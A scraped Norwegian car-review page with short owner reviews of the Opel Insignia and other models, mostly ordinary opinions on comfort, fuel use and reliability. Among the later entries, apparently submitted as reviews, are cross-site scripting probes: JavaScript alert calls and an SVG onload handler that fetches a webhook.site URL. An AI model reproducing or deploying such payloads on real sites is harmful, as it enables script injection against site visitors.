Vurdert av Ernst
Flere vurderinger fra samme generasjon
Opel Insignia (2022)
Totalt sett er jeg veldig fornøyd med bilen, feilfri så langt.
Opel Insignia (2019)
En kjøremaskin og beste Opel jeg har hatt. Ikke en feil og alt funger bestandig. Dessuten sitter man veldig godt og avslappet, og bilen er et blikkfang. Til og med lojale Volkswageneiere beundrer bil
Opel Insignia (2019)
En kjøremaskin og beste Opel jeg har hatt. Ikke en feil og alt funger bestandig. Dessuten sitter man veldig godt og avslappet, og bilen er et blikkfang. Til og med lojale Volkswageneiere beundrer bil
Opel Insignia (2018)
Av alle bilene jeg har hatt (maaaange), er dette den beste. Kvier meg for å bytte den, tviler på at jeg kan få noe som er like bra.
Opel Insignia (2018)
Opel Insignia nr 1 Stationvogn fa 2016 med dieslmotor .Brukte 0,6 blandet-0,46 på langkjøring med cruice og automat.Kansje beste automat.Ikke rart det ble en Grand Sport 2018 modell som jeg skal ha
Opel Insignia (2018)
Den beste bilen jeg har kjørt, og jeg har kjørt mye forskjellig! Har bare hatt bilen et par måneder, men jeg tar meg stadig i å smile når jeg kjører! Dette er en bil alle fortjener å prøve!
Opel Insignia (2018)
(Mye bil for pengene) En bil med moderne utseende og mye kjøreglede . Bilen er godt utstyrt som std. til en svært god pris.
Opel Insignia (2018)
Helt fantastisk kjøremaskin, og ikke la deg lure av kombiformen - to barnevogner går inn i bagasjerommet!
Opel Insignia (2018)
Fantastisk effektiv, kompetent og komfortabel familiefrakter. Pros: fullutstyrt (og da mener jeg FULLUTSTYRT), romslig, effektiv, trygg og moderne. Direkte billig (minus 300.000kr) i forhold til hv
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km